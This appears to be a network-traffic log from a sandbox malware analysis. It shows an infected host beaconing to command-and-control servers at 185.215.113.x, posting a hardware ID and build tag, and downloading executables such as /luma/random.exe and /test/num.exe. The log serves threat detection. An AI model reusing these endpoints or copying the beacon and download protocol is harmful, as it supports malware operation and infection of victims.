Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJECBKKECFIEBGCAKJKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 43 42 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HJJECBKKECFIEBGCAKJKContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------HJJECBKKECFIEBGCAKJKContent-Disposition: form-data; name="build"doma------HJJECBKKECFIEBGCAKJK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001090001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 39 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001091001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="build"doma------AAKJKJDGCGDBGDHIJKJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 39 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001092001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAAAAFBKFIECAAKECGCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 41 41 46 42 4b 46 49 45 43 41 41 4b 45 43 47 43 2d 2d 0d 0a Data Ascii: ------FCAAAAFBKFIECAAKECGCContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------FCAAAAFBKFIECAAKECGCContent-Disposition: form-data; name="build"doma------FCAAAAFBKFIECAAKECGC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001093001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKKEHDHCAAAKFCBAKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 4b 45 48 44 48 43 41 41 41 4b 46 43 42 41 4b 2d 2d 0d 0a Data Ascii: ------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------GDAAKKEHDHCAAAKFCBAKContent-Disposition: form-data; name="build"doma------GDAAKKEHDHCAAAKFCBAK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 2d 2d 0d 0a Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="build"doma------BAEBFIIECBGCBGDHCAFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIIIJDAAAAAAKECBFBAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 2d 2d 0d 0a Data Ascii: ------EHIIIJDAAAAAAKECBFBAContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------EHIIIJDAAAAAAKECBFBAContent-Disposition: form-data; name="build"doma------EHIIIJDAAAAAAKECBFBA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIECHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 2d 2d 0d 0a Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="build"doma------GIECFIEGDBKJKFIDHIEC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 34 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A74B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 37 42 32 36 39 44 32 41 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="hwid"B97B269D2A6E2371543510------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="build"doma------BGCAFHCAKFBFIECAFIIJ--
